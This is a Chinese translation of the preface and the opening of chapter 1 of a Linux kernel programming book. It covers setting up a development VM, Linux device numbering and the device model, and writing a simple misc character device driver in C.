Linux-内核编程第二部分-全-

Linux 内核编程第二部分(全)

原文:zh.annas-archive.org/md5/066F8708F0154057BE24B556F153766F

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

本书旨在帮助您以实际、实践的方式学习 Linux 字符设备驱动程序开发的基础知识,同时提供必要的理论背景,使您对这个广阔而有趣的主题领域有一个全面的了解。为了充分涵盖这些主题,本书的范围故意保持在(大部分)学习如何在 Linux 操作系统上编写misc类字符设备驱动程序。这样,您将能够深入掌握基本和必要的驱动程序编写技能,然后能够相对轻松地处理不同类型的 Linux 驱动程序项目。

重点是通过强大的可加载内核模块LKM)框架进行实际驱动程序开发;大多数内核驱动程序开发都是以这种方式进行的。重点是在与驱动程序代码的实际操作中保持关注,必要时在足够深的层面上理解内部工作,并牢记安全性。

我们强烈推荐的一点是:要真正学习和理解细节,最好先阅读并理解本书的伴侣《Linux 内核编程》。它涵盖了各个关键领域 - 从源代码构建内核,通过 LKM 框架编写内核模块,内核内部包括内核架构,内存系统,内存分配/释放 API,CPU 调度等等。这两本书的结合将为您提供确定和深入的优势。

这本书没有浪费时间 - 第一章让您学习了 Linux 驱动程序框架的细节以及如何编写一个简单但完整的 misc 类字符设备驱动程序。接下来,您将学习如何做一些非常必要的事情:使用各种技术有效地与用户空间进程进行接口(其中一些还可以作为调试/诊断工具!)。然后介绍了理解和处理硬件(外围芯片)I/O 内存。接下来是详细介绍处理硬件中断。这包括学习和使用几种现代驱动程序技术 - 使用线程中断请求,利用资源管理的 API 进行驱动程序,I/O 资源分配等。它涵盖了顶部/底部是什么,使用任务队列和软中断,以及测量中断延迟。接下来是您通常会使用的内核机制 - 使用内核定时器,设置延迟,创建和管理内核线程和工作队列。

本书的剩余两章涉及一个相对复杂但对于现代专业级驱动程序或内核开发人员至关重要的主题:理解和处理内核同步。

本书使用了最新的,即写作时的 5.4 长期支持LTS)Linux 内核。这是一个将从 2019 年 11 月一直维护(包括错误和安全修复)到 2025 年 12 月的内核!这是一个关键点,确保本书的内容在未来几年仍然保持当前和有效!

我们非常相信实践经验的方法:本书的 GitHub 存储库上的 20 多个内核模块(以及一些用户应用程序和 shell 脚本)使学习变得生动,有趣且有用。

我们真诚希望您从这本书中学到并享受到知识。愉快阅读!

这本书是为谁准备的

这本书主要是为刚开始学习设备驱动程序开发的 Linux 程序员准备的。Linux 设备驱动程序开发人员希望克服频繁和常见的内核/驱动程序开发问题,以及理解和学习执行常见驱动程序任务 - 现代Linux 设备模型LDM)框架,用户-内核接口,执行外围 I/O,处理硬件中断,处理并发等等 - 将受益于本书。需要基本了解 Linux 内核内部(和常见 API),内核模块开发和 C 编程。

本书涵盖了什么

第一章,“编写简单的杂项字符设备驱动程序”,首先介绍了非常基础的内容 - 驱动程序应该做什么,设备命名空间,sysfs 和 LDM 的基本原则。然后我们深入讨论了编写简单字符设备驱动程序的细节;在此过程中,您将了解框架 - 实际上是“如果不是一个进程,它就是一个文件”哲学/架构的内部实现!您将学习如何使用各种方法实现杂项类字符设备驱动程序;几个代码示例有助于加深概念。还涵盖了在用户空间和内核空间之间复制数据的基本方法。还涵盖了关键的安全问题以及如何解决这些问题(在这种情况下);实际上演示了一个“坏”驱动程序引发特权升级问题!

第二章,“用户空间和内核通信路径”,涵盖了如何在内核和用户空间之间进行通信,这对于您作为内核模块/驱动程序的作者来说至关重要。在这里,您将了解各种通信接口或路径。这是编写内核/驱动程序代码的重要方面。采用了几种技术:通过传统的 procfs 进行通信,通过 sysfs 进行驱动程序的更好方式,以及其他几种方式,通过 debugfs,netlink 套接字和 ioctl(2)系统调用。

第三章,“处理硬件 I/O 内存”,涵盖了驱动程序编写的一个关键方面 - 访问外围设备或芯片的硬件内存(映射内存 I/O)的问题和解决方案。我们涵盖了使用常见的内存映射 I/O(MMIO)技术以及(通常在 x86 上)端口 I/O(PIO)技术进行硬件 I/O 内存访问和操作。还展示了来自现有内核驱动程序的几个示例。

第四章,“处理硬件中断”,详细介绍了如何处理和处理硬件中断。我们首先简要介绍内核如何处理硬件中断,然后介绍了您如何“分配”IRQ 线(涵盖现代资源管理的 API),以及如何正确实现中断处理程序。然后涵盖了使用线程处理程序的现代方法(以及原因),不可屏蔽中断(NMI)等。还涵盖了在代码中使用“顶半部分”和“底半部分”中断机制的原因以及使用方式,以及有关硬件中断处理的 dos 和 don'ts 的关键信息。使用现代[e]BPF 工具集和 Ftrace 测量中断延迟,结束了这一关键章节。

第五章,“使用内核定时器、线程和工作队列”,涵盖了如何使用一些有用的(通常由驱动程序使用)内核机制 - 延迟、定时器、内核线程和工作队列。它们在许多实际情况下都很有用。如何执行阻塞和非阻塞延迟(根据情况),设置和使用内核定时器,创建和使用内核线程,理解和使用内核工作队列都在这里涵盖。几个示例模块,包括一个简单的加密解密(sed)示例驱动程序的三个版本,用于说明代码中学到的概念。

第六章,“内核同步-第一部分”,首先介绍了关于关键部分、原子性、锁概念的实现以及非常重要的原因。然后我们涵盖了在 Linux 内核中工作时的并发性问题;这自然地引出了重要的锁定准则,死锁的含义以及预防死锁的关键方法。然后深入讨论了两种最流行的内核锁技术 - 互斥锁和自旋锁,以及几个(驱动程序)代码示例。

第七章,内核同步-第二部分,继续探讨内核同步的内容。在这里,您将学习关键的锁定优化-使用轻量级原子和(更近期的)引用计数操作符来安全地操作整数,使用 RMW 位操作符来安全地执行位操作,以及使用读者-写者自旋锁而不是常规自旋锁。还讨论了缓存“错误共享”等固有风险。然后介绍了无锁编程技术的概述(重点是每 CPU 变量及其用法,并附有示例)。接着介绍了关键的主题,锁调试技术,包括内核强大的 lockdep 锁验证器的使用。该章节最后简要介绍了内存屏障(以及现有内核网络驱动程序对内存屏障的使用)。

我们再次强调,本书是为新手内核程序员编写设备驱动程序而设计的;本书不涵盖一些 Linux 驱动程序主题,包括其他类型的设备驱动程序(除了字符设备)、设备树等。Packt 提供了其他有价值的指南,帮助您在这些主题领域取得进展。本书将是一个很好的起点。

为了充分利用本书

为了充分利用本书,我们希望您具有以下知识和经验:

  • 熟悉 Linux 系统的命令行操作。

  • C 编程语言。

  • 了解如何通过可加载内核模块(LKM)框架编写简单的内核模块

  • 了解(至少基本的)关键的 Linux 内核内部概念:内核架构,内存管理(以及常见的动态内存分配/释放 API),以及 CPU 调度。

  • 这不是强制性的,但是具有 Linux 内核编程概念和技术的经验将会有很大帮助。

理想情况下,我们强烈建议先阅读本书的伴侣《Linux 内核编程》。

本书的硬件和软件要求以及其安装细节如下:

章节编号 所需软件(版本) 免费/专有 软件下载链接 硬件规格 所需操作系统

| 所有章节 | 最新的 Linux 发行版;我们使用 Ubuntu 18.04 LTS(以及 Fedora 31 / Ubuntu 20.04 LTS);任何一个都可以。建议您将 Linux 操作系统安装为虚拟机(VM),使用 Oracle VirtualBox 6.x(或更高版本)作为 hypervisor | 免费(开源) | Ubuntu(桌面版):ubuntu.com/download/desktopOracle VirtualBox:www.virtualbox.org/wiki/Downloads | 必需:一台现代化的相对强大的 PC 或笔记本电脑,配备至少 4GB RAM(最少;越多越好),25GB 的可用磁盘空间和良好的互联网连接。可选:我们还使用树莓派 3B+作为测试平台。 | Linux 虚拟机在 Windows 主机上 -或-

Linux 作为独立的操作系统 |

详细的安装步骤(软件方面):

  1. 在 Windows 主机系统上安装 Linux 作为虚拟机;按照以下教程之一进行操作:
  1. 在 Linux 虚拟机上安装所需的软件包:

  2. 登录到您的 Linux 虚拟机客户端,并首先在终端窗口(shell)中运行以下命令:

sudo apt update
sudo apt install gcc make perl
    1. 现在安装 Oracle VirtualBox Guest Additions。参考:如何在 Ubuntu 中安装 VirtualBox Guest Additionswww.tecmint.com/install-virtualbox-guest-additions-in-ubuntu/

(此步骤仅适用于使用 Oracle VirtualBox 作为 hypervisor 应用程序的 Ubuntu 虚拟机。)

  1. 要安装软件包,请按以下步骤操作:

  2. 在 Ubuntu 虚拟机中,首先运行sudo apt update命令

  3. 现在,在一行中运行sudo apt install git fakeroot build-essential tar ncurses-dev tar xz-utils libssl-dev bc stress python3-distutils libelf-dev linux-headers-$(uname -r) bison flex libncurses5-dev util-linux net-tools linux-tools-$(uname -r) exuberant-ctags cscope sysfsutils curl perf-tools-unstable gnuplot rt-tests indent tree pstree smem hwloc bpfcc-tools sparse flawfinder cppcheck tuna hexdump trace-cmd virt-what命令。

  4. 有用的资源:

  1. 本书的伴随指南Linux 内核编程,Kaiwan N Billimoria,Packt Publishing第一章,内核工作区设置中描述了详细的说明,以及其他有用的项目,安装 ARM 交叉工具链等。

我们已经在这些平台上测试了本书中的所有代码(它也有自己的 GitHub 存储库):

  • x86_64 Ubuntu 18.04 LTS 客户操作系统(在 Oracle VirtualBox 6.1 上运行)

  • x86_64 Ubuntu 20.04.1 LTS 客户操作系统(在 Oracle VirtualBox 6.1 上运行)

  • x86_64 Ubuntu 20.04.1 LTS 本机操作系统

  • ARM Raspberry Pi 3B+(运行其发行版内核以及我们的自定义 5.4 内核);轻度测试。

如果您使用本书的数字版本,我们建议您自己输入代码,或者更好地,通过 GitHub 存储库访问代码(链接在下一节中可用)。这样做将帮助您避免与复制和粘贴代码相关的任何潜在错误。

对于本书,我们将以名为llkd的用户登录。我强烈建议您遵循经验主义方法:不要轻信任何人的话,而是尝试并亲身体验。因此,本书为您提供了许多实践实验和内核驱动程序代码示例,您可以并且必须自己尝试;这将极大地帮助您取得实质性进展,并深入学习和理解 Linux 驱动程序/内核开发的各个方面。

下载示例代码文件

您可以从 GitHub 下载本书的示例代码文件,网址为github.com/PacktPublishing/Linux-Kernel-Programming-Part-2。如果代码有更新,将在现有的 GitHub 存储库上进行更新。

我们还提供来自我们丰富的图书和视频目录的其他代码包,可在github.com/PacktPublishing/上找到。去看看吧!

下载彩色图片

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以在此处下载:www.packtpub.com/sites/default/files/downloads/9781801079518_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

CodeInText:指示文本中的代码字词,数据库表名,文件夹名,文件名,文件扩展名,路径名,虚拟 URL,用户输入和 Twitter 句柄。这是一个例子:“ioremap() API 返回void *类型的 KVA(因为它是一个地址位置)。”

代码块设置如下:

static int __init miscdrv_init(void)
{
    int ret;
    struct device *dev;

当我们希望引起您对代码块的特定部分的注意时,相关行或项目将以粗体显示:

#define pr_fmt(fmt) "%s:%s(): " fmt, KBUILD_MODNAME, __func__
[...]
#include <linux/miscdevice.h>
#include <linux/fs.h>             
[...]

任何命令行输入或输出都以以下方式编写:

pi@raspberrypi:~ $ sudo cat /proc/iomem

粗体:表示一个新术语,一个重要词,或者你在屏幕上看到的词。例如,菜单或对话框中的单词会以这种方式出现在文本中。这是一个例子:“从管理面板中选择“系统信息”。”

警告或重要说明看起来像这样。

提示和技巧看起来像这样。

取得联系

我们的读者的反馈总是受欢迎的。

一般反馈:如果您对本书的任何方面有疑问,请在消息主题中提及书名,并发送电子邮件至customercare@packtpub.com

勘误:尽管我们已经尽一切努力确保内容的准确性,但错误确实会发生。如果您在这本书中发现了错误,我们将不胜感激,如果您能向我们报告。请访问www.packtpub.com/support/errata,选择您的书,点击勘误提交表格链接,并输入详细信息。

盗版:如果您在互联网上发现我们作品的任何形式的非法副本,我们将不胜感激,如果您能向我们提供位置地址或网站名称。请通过copyright@packt.com与我们联系,并附上材料的链接。

如果您有兴趣成为作者:如果有一个您在某个专题上有专业知识,并且您有兴趣写作或为一本书做出贡献,请访问authors.packtpub.com

评论

请留下评论。一旦您阅读并使用了这本书,为什么不在购买它的网站上留下评论呢?潜在的读者可以看到并使用您的公正意见来做出购买决定,我们在 Packt 可以了解您对我们产品的看法,我们的作者可以看到您对他们的书的反馈。谢谢!

有关 Packt 的更多信息,请访问packt.com

第一部分:字符设备驱动程序基础知识

在这里,我们将涵盖设备驱动程序是什么,命名空间,Linux 设备模型(LDM)基础知识,以及字符设备驱动程序框架。我们将实现简单的 misc 驱动程序(利用内核的 misc 框架)。我们将建立用户和内核空间之间的通信(通过各种接口,如 debugfs、sysfs、netlink 套接字和 ioctl)。您将学习如何处理外围芯片上的硬件 I/O 内存,以及理解和处理硬件中断。您还将学习如何使用内核特性,如内核级定时器,创建内核线程,并使用工作队列。

本节包括以下章节:

  • 第一章,编写简单的杂项字符设备驱动程序

  • 第二章,用户内核通信路径

  • 第三章,使用硬件 I/O 内存

  • 第四章,处理硬件中断

  • 第五章,使用内核定时器、线程和工作队列

第一章:编写一个简单的杂项字符设备驱动程序

毫无疑问,设备驱动程序是一个广阔而有趣的话题。不仅如此,它们可能是我们使用的可加载内核模块LKM)框架中最常见的用途。在这里,我们将介绍如何编写一些简单但完整的 Linux 字符设备驱动程序,这些驱动程序属于一个名为misc的类;是的,这是杂项的缩写。我们希望强调的是,本章的范围和覆盖范围有限 - 在这里,我们不试图深入探讨 Linux 驱动程序模型及其许多框架的细节;相反,我们建议您通过本章的进一步阅读部分参考这个主题的几本优秀的书籍和教程。我们的目标是快速让您熟悉编写简单字符设备驱动程序的整体概念。

话虽如此,这本书确实有几章专门介绍驱动程序作者需要了解的内容。除了这个介绍性的章节,我们还详细介绍了驱动程序作者如何处理硬件 I/O 内存、硬件中断处理(以及其许多子主题)以及内核机制,如延迟、定时器、内核线程和工作队列。各种用户-内核通信路径或接口的使用也得到了详细介绍。本书的最后两章则专注于对于任何内核开发,包括驱动程序,都非常重要的内容 - 内核同步。

我们更喜欢编写一个简单的 Linux 字符 设备驱动程序,而不仅仅是我们的“常规”内核模块,原因如下:

  • 到目前为止,我们的内核模块相当简单,只有initcleanup函数,没有其他内容。设备驱动程序为内核提供了多个入口点;这些是与文件相关的系统调用,称为驱动程序的方法。因此,我们可以有一个open()方法,一个read()方法,一个write()方法,一个llseek()方法,一个[unlocked|compat]_ioctl()方法,一个release()方法等等。

FYI,驱动程序作者可以连接的所有可能的“方法”(函数)都在这个关键的内核数据结构中:include/linux/fs.h:file_operations(在理解进程、驱动程序和内核之间的连接部分中会更详细地介绍)。

  • 这种情况更加现实,也更加有趣。

在本章中,我们将涵盖以下主题:

  • 开始编写一个简单的杂项字符设备驱动程序

  • 从内核到用户空间的数据复制,反之亦然

  • 一个带有秘密的杂项驱动程序

  • 问题和安全问题

技术要求

我假设您已经阅读了前言部分为了充分利用本书,并且已经适当地准备了一个运行 Ubuntu 18.04 LTS(或更高版本稳定发布版)的虚拟机,并安装了所有必需的软件包。如果没有,我强烈建议您首先这样做。为了充分利用本书,我强烈建议您首先设置好工作环境,包括克隆本书的 GitHub 代码库,并以实际操作的方式进行工作。代码库可以在这里找到:github.com/PacktPublishing/Linux-Kernel-Programming-Part-2

开始编写一个简单的杂项字符设备驱动程序

在本节中,您将首先学习所需的背景材料 - 了解设备文件(或节点)及其层次结构的基础知识。之后,您将通过实际编写一个非常简单的misc字符驱动程序的代码来了解原始字符设备驱动程序背后的内核框架。在此过程中,我们将介绍如何创建设备节点并通过用户空间应用程序测试驱动程序。让我们开始吧!

了解设备基础知识

需要一些快速的背景知识。

设备驱动程序是操作系统和外围硬件设备之间的接口。它可以内联编写 - 也就是说,编译在内核映像文件中 - 或者更常见的是在内核源树之外编写为内核模块(我们在伴随指南Linux 内核编程第四章编写您的第一个内核模块 - LKMs 第一部分第五章编写您的第一个内核模块 - LKMs 第二部分中详细介绍了 LKM 框架)。无论哪种方式,驱动程序代码肯定在操作系统特权级别下在内核空间中运行(用户空间设备驱动程序确实存在,但可能存在性能问题;虽然在许多情况下很有用,但我们在这里不涉及它们。请查看进一步阅读部分)。

为了让用户空间应用程序能够访问内核中的底层设备驱动程序,需要一些 I/O 机制。Unix(因此也是 Linux)的设计是让进程打开一种特殊类型的文件 - 设备文件设备节点。这些文件通常位于/dev目录中,并且在现代系统中是动态和自动填充的。设备节点作为设备驱动程序的入口点。

为了让内核区分设备文件,它在它们的 inode 数据结构中使用了两个属性:

  • 文件类型 - 字符(char)或块

  • 主要和次要编号

您会发现命名空间 - 设备类型和{major#,minor#}对 - 形成层次结构。设备(因此它们的驱动程序)在内核中以树状层次结构组织(内核中的驱动程序核心代码负责此操作)。首先根据设备类型进行层次划分 - 块或字符。在其中,每种类型都有一些n个主要编号,每个主要编号通过一些m个次要编号进一步分类;图 1.1显示了这种层次结构。

现在,块设备和字符设备之间的关键区别在于块设备具有(内核级)能力进行挂载,因此成为用户可访问的文件系统的一部分。字符设备无法挂载;因此,存储设备倾向于基于块。以这种方式考虑(有点简单但有用):如果(硬件)设备既不是存储设备也不是网络设备,那么它就是字符设备。大量设备属于“字符”类,包括您典型的 I2C/SPI(集成电路/串行外围接口)传感器芯片(温度、压力、湿度等)、触摸屏、实时时钟RTC)、媒体(视频、摄像头、音频)、键盘、鼠标等。USB 在内核中形成了一个基础设施支持的类。USB 设备可以是块设备(U 盘、USB 磁盘)、字符设备(鼠标、键盘、摄像头)或网络(USB dongles)设备。

从 Linux 2.6 开始,{major:minor}对是 inode 中的一个单个无符号 32 位数量,一个位掩码(它是dev_t i_rdev成员)。在这 32 位中,最高 12 位表示主要编号,剩下的最低 20 位表示次要编号。快速计算表明,因此可以有多达 2¹² = 4,096 个主要编号和 2²⁰个次要编号,即一百万个次要编号。因此,快速查看图 1.1;在块层次结构中,可能有 4,096 个主要编号,每个主要编号最多可以有 1 百万个次要编号。同样,在字符层次结构中,可能有 4,096 个主要编号,每个主要编号最多可以有 1 百万个次要编号。

图 1.1 - 设备命名空间或层次结构

你可能会想:这个主要号:次要号对到底意味着什么?把主要号想象成代表设备的类别(它是 SCSI 磁盘,键盘,电传打字机tty)或伪终端pty)设备,回环设备(是的,这些是伪硬件设备),操纵杆,磁带设备,帧缓冲器,传感器芯片,触摸屏等等的设备类别)。确实有大量的设备;为了了解有多少,我们建议你查看这里的内核文档:www.kernel.org/doc/Documentation/admin-guide/devices.txt(这实际上是 Linux 操作系统所有可用设备的官方注册表。它正式称为LANANA - Linux 分配的名称和编号管理机构!只有这些人才能正式分配设备节点 - 类型和主要号:次要号到设备)。

次要号的含义(解释)完全由驱动程序的作者决定;内核不会干涉。通常,驱动程序解释设备的次要号,表示设备的物理或逻辑实例,或表示某种功能。(例如,小型计算机系统接口SCSI)驱动程序 - 类型为块,主要号#8 - 使用次要号表示多达 16 个磁盘的逻辑分区。另一方面,字符主要号#119由 VMware 的虚拟网络控制驱动程序使用。在这里,次要号被解释为第一个虚拟网络,第二个虚拟网络,依此类推。)同样,所有驱动程序本身都会为它们的次要号分配含义。但是每个好的规则都有例外。在这里,规则的例外 - 内核不解释次要号 - 是misc类(类型为字符,主要号#10)。它使用次要号作为第二级主要号。这将在下一节中介绍。

一个常见的问题是命名空间的耗尽。多年前做出的决定将各种各样的杂项字符设备 - 许多鼠标(不是动物王国的那种),传感器,触摸屏等等 - “收集”到一个称为misc或'杂项'类的类中,分配字符主要号为 10。在misc类中有许多设备及其对应的驱动程序。实际上,它们共享相同的主要号,并依赖于唯一的次要号来识别自己。我们将使用这个类编写一些驱动程序,并利用内核的misc框架。

许多设备已经通过LANANA(Linux 分配的名称和编号管理机构)分配到了misc字符设备类中。图 1.2显示了来自www.kernel.org/doc/Documentation/admin-guide/devices.txt的部分截图,显示了前几个misc设备,它们分配的次要号和简要描述。请查看参考链接获取完整列表:

图 1.2 - 杂项设备的部分截图:字符类型,主要号 10

图 1.2中,最左边的一列有10 char,指定它在设备层次结构(图 1.1)下分配了主要的# 10。右边的列是以minor# = /dev/<foo> <description>的形式;很明显,这是分配的次要号,后面跟着(在=号之后)设备节点和一行描述。

关于 Linux 设备模型的简短说明

不详细介绍,现代统一的 Linux 设备模型(LDM)的快速概述是重要的。从 2.6 内核开始,现代 Linux 具有一个奇妙的功能,即 LDM,它以一种广泛和大胆的方式实现了许多与系统和其中的设备有关的目标。在其许多功能中,它创建了一个复杂的分层树,统一了系统组件、所有外围设备及其驱动程序。这个树被暴露给用户空间,通过 sysfs 伪文件系统(类似于 procfs 将一些内核和进程/线程内部细节暴露给用户空间),通常挂载在/sys 下。在/sys 下,您会找到几个目录-您可以将它们视为 LDM 的“视口”。在我们的 x86_64 Ubuntu VM 上,我们展示了挂载在/sys 下的 sysfs 文件系统:

$ mount | grep -w sysfs
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)

此外,看一眼里面:

$ ls -F /sys/
block/ bus/ class/ dev/ devices/ firmware/ fs/ hypervisor/ kernel/ module/ power/

将这些目录视为 LDM 的视口-查看系统上设备的不同方式。当然,随着事物的发展,进入的东西往往比出去的多(膨胀方面!)。一些非明显的目录现在已经进入了这里。尽管(与 procfs 一样)sysfs 被正式记录为应用程序二进制接口(ABI)接口,但这是可能随时更改/弃用的;现实情况是这个系统会一直存在-当然会随着时间的推移而发展。

LDM 可以被简单地认为具有-并将这些主要组件联系在一起-这些主要组件:

  • 系统上的总线。

  • 它们上的设备。

  • 驱动设备的设备驱动程序(通常也称为客户端驱动程序)。

基本的 LDM 原则是每个设备都必须驻留在总线上。这可能看起来很明显:USB 设备将在 USB 总线上,PCI 设备将在 PCI 总线上,I2C 设备将在 I2C 总线上,依此类推。因此,在/sys/bus 层次结构下,您将能够通过它们所驻留的总线“看到”所有设备:

图 1.3-现代 Linux 上的不同总线或总线驱动程序基础设施(在 x86_64 上)

内核的驱动程序核心提供总线驱动程序(通常是内核映像的一部分或根据需要在引导时自动加载),这当然使总线发挥作用。它们的工作是什么?至关重要的是,它们组织和识别上面的设备。如果出现新设备(也许您插入了一个 U 盘),USB 总线驱动程序将识别这一事实并将其绑定到其(USB 大容量存储)设备驱动程序!一旦成功绑定(有许多术语用于描述这一点:绑定、枚举、发现),内核驱动程序框架将调用驱动程序的注册 probe()方法(函数)。现在,这个探测方法设置设备,分配资源、IRQ、内存设置,根据需要注册它等等。

关于 LDM 的另一个关键方面是,现代基于 LDM 的驱动程序通常应该执行以下操作:

  • 向(专门的)内核框架注册。

  • 向总线注册。

它注册自己的内核框架取决于您正在处理的设备类型;例如,驻留在 I2C 总线上的 RTC 芯片的驱动程序将通过 rtc_register_device()API 将自己注册到内核的 RTC 框架,并通过 i2c_register_driver()API 将自己注册到 I2C 总线(内部)。另一方面,驻留在 PCI 总线上的网络适配器(NIC)的驱动程序通常会通过 register_netdev()API 将自己注册到内核的网络基础设施,并通过 pci_register_driver()API 将自己注册到 PCI 总线。向专门的内核框架注册可以使驱动程序作者的工作变得更加容易-内核通常会提供辅助例程(甚至数据结构)来处理 I/O 细节等。例如,考虑先前提到的 RTC 芯片驱动程序。

你不需要知道如何通过 I2C 总线与芯片进行通信,在 I2C 协议要求的串行时钟SCL)/串行数据SDA)线上发送数据。内核 I2C 总线框架为您提供了方便的例程(例如通常使用的i2c_smbus_*()API),让您可以轻松地与问题芯片进行总线通信!

如果你想知道如何获取有关这些驱动程序 API 的更多信息,好消息是:官方的内核文档有很多内容可供参考。请查阅Linux 驱动程序实现者 API 指南www.kernel.org/doc/html/latest/driver-api/index.html

(我们将在接下来的两章中展示驱动程序的probe()方法的一些示例;在那之前,请耐心等待。)相反,当设备从总线上分离或内核模块被卸载(或系统关闭时),分离会导致驱动程序的remove()(或disconnect())方法被调用。在这两者之间,设备通过其驱动程序(总线和客户端)进行工作!

请注意,我们在这里忽略了很多内部细节,因为它们超出了本书的范围。重点是让你对 LDM 有一个概念性的理解。请参考进一步阅读部分的文章和链接,以获取更详细的信息。

在这里,我们希望保持我们的驱动程序覆盖范围非常简单和最小化,更专注于基本原理。因此,我们选择编写一个使用可能是最简单的内核框架 - misc杂项内核框架的驱动程序。在这种情况下,驱动程序甚至不需要显式地向任何总线(驱动程序)注册。事实上,更像是这样:我们的驱动程序直接在硬件上工作,而无需任何特定的总线基础设施支持。

在我们特定的示例中,使用misc内核框架,由于我们没有显式地向任何总线(驱动程序)注册,因此我们甚至不需要probe()/remove()方法。这使得事情变得简单。另一方面,一旦你理解了这种最简单的驱动程序,我鼓励你进一步学习,尝试编写具有典型内核框架注册加总线驱动程序注册的设备驱动程序,从而使用probe()/remove()方法。一个很好的开始是学习如何编写一个简单的平台驱动程序,将其注册到内核的misc框架和平台总线,这是一个伪总线基础设施,支持不在任何物理总线上的设备(这比你最初想象的要常见得多;现代SoC系统芯片)内置的几个外围设备不在任何物理总线上,因此它们的驱动程序通常是平台驱动程序)。要开始,请在内核源树中的drivers/目录下查找调用platform_driver_register() API 的代码。官方的内核文档在这里涵盖了平台设备和驱动程序:www.kernel.org/doc/html/latest/driver-api/driver-model/platform.html#platform-devices-and-drivers

作为额外的帮助,请注意以下内容:

  • 请参阅第二章,用户-内核通信路径,特别是创建一个简单的平台设备平台设备部分。

  • 本章的一个练习(请参阅问题部分)是编写这样的驱动程序。我在这里提供了一个示例(非常简单的实现):solutions_to_assgn/ch12/misc_plat/

然而,我们确实需要内核的misc框架支持,因此我们向其注册。接下来,理解这一点也很关键:我们的驱动程序是逻辑驱动程序,意味着它没有实际的物理设备或芯片在驱动。这通常是情况(当然,您可以说这里正在处理的硬件是 RAM)。

因此,如果我们要编写属于misc类的 Linux 字符设备驱动程序,我们首先需要向其注册。接下来,我们将需要一个唯一(未使用的)次编号。同样,有一种方法可以让内核动态地为我们分配一个空闲的次编号。以下部分涵盖了这些方面以及更多内容。

编写 misc 驱动程序代码-第一部分

话不多说,让我们来看一下编写一个简单骨架字符misc设备驱动程序的代码吧!(当然,这只是部分实际代码;我强烈建议您git clone本书的 GitHub 存储库,详细查看并尝试自己编写代码。)

让我们一步一步来看:在我们的第一个设备驱动程序(使用 LKM 框架)的init代码中,我们必须首先使用适当的 Linux 内核框架向其注册我们的驱动程序;在这种情况下,使用misc框架。这是通过misc_register()API 完成的。它接受一个参数,即指向miscdevice类型的数据结构的指针,描述了我们正在设置的杂项设备:

// ch1/miscdrv/miscdrv.c
#define pr_fmt(fmt) "%s:%s(): " fmt, KBUILD_MODNAME, __func__
[...]
#include <linux/miscdevice.h>
#include <linux/fs.h>              /* the fops, file data structures */
[...]

static struct miscdevice llkd_miscdev = {
    .minor = MISC_DYNAMIC_MINOR, /* kernel dynamically assigns a free minor# */
    .name = "llkd_miscdrv",      /* when misc_register() is invoked, the kernel
             * will auto-create a device file as /dev/llkd_miscdrv ;
             * also populated within /sys/class/misc/ and /sys/devices/virtual/misc/ */
    .mode = 0666,            /* ... dev node perms set as specified here */
    .fops = &llkd_misc_fops, /* connect to this driver's 'functionality' */
};

static int __init miscdrv_init(void)
{
    int ret;
    struct device *dev;

    ret = misc_register(&llkd_miscdev);
    if (ret != 0) {
        pr_notice("misc device registration failed, aborting\n");
        return ret;
    }
    [ ... ]

miscdevice结构实例中,我们进行了以下操作:

  1. 我们将minor字段设置为MISC_DYNAMIC_MINOR。这会请求内核在成功注册后动态为我们分配一个可用的次编号(一旦注册成功,此minor字段将填充为分配的实际次编号)。

  2. 我们初始化了name字段。在成功注册后,内核框架会自动为我们创建一个设备节点(形式为/dev/<name>)!如预期的那样,类型将是字符,主编号将是10,次编号将是动态分配的值。这是使用内核框架的优势之一;否则,我们可能需要想办法自己创建设备节点;顺便说一下,mknod(1)实用程序可以在具有 root 权限(或具有CAP_MKNOD权限)时创建设备文件;它通过调用mknod(2)系统调用来工作!

  3. 设备节点的权限将设置为您初始化mode字段的值(在这里,我们故意保持它是宽松的,并且通过0666八进制值对所有人可读可写)。

  4. 我们将推迟讨论文件操作(fops)结构成员的讨论到接下来的部分。

所有misc驱动程序都是字符类型,并使用相同的主编号(10),但当然需要唯一的次编号。

理解进程、驱动程序和内核之间的连接。

在这里,我们将深入了解 Linux 上字符设备驱动程序成功注册时的内核内部。实际上,您将了解底层原始字符驱动程序框架的工作原理。

file_operations结构,或者通常称为fops(发音为eff-opps),对于驱动程序作者来说至关重要;fops结构的大多数成员都是函数指针-将它们视为虚方法。它们代表了可能在(设备)文件上发出的所有可能的与文件相关的系统调用。因此,它有openreadwritepollmmaprelease等多个成员(其中大多数是函数指针)。这个关键数据结构的一些成员在这里显示出来:

// include/linux/fs.h struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
[...]
    __poll_t (*poll) (struct file *, struct poll_table_struct *);
    long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
    long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
    int (*mmap) (struct file *, struct vm_area_struct *);
    unsigned long mmap_supported_flags;
    int (*open) (struct inode *, struct file *);
    int (*flush) (struct file *, fl_owner_t id); 
    int (*release) (struct inode *, struct file *);
[...]
    int (*fadvise)(struct file *, loff_t, loff_t, int);
} __randomize_layout;

驱动程序作者(或底层内核框架)的一个关键工作是填充这些函数指针,从而将它们链接到驱动程序中的实际代码。当然,您不需要实现每个单独的函数;请参考“处理不支持的方法”部分了解详情。

现在,假设您已经编写了驱动程序来为一些f_op方法设置函数。一旦您的驱动程序通过内核框架注册到内核中,当任何用户空间进程(或线程)打开注册到该驱动程序的设备文件时,内核虚拟文件系统开关VFS)层将接管。不深入细节,可以说 VFS 为设备文件分配并初始化了该进程的打开文件数据结构(struct file)。现在,回想一下我们struct miscdevice初始化中的最后一行;它是这样的:

   .fops = &llkd_misc_fops, /* connect to this driver's 'functionality' */

这行代码有一个关键的作用:它将进程的文件操作指针(在进程的打开文件结构中)与设备驱动程序的文件操作结构绑定在一起。*功能性 - 驱动程序将执行的操作 - *现在已经为此设备文件设置好了!

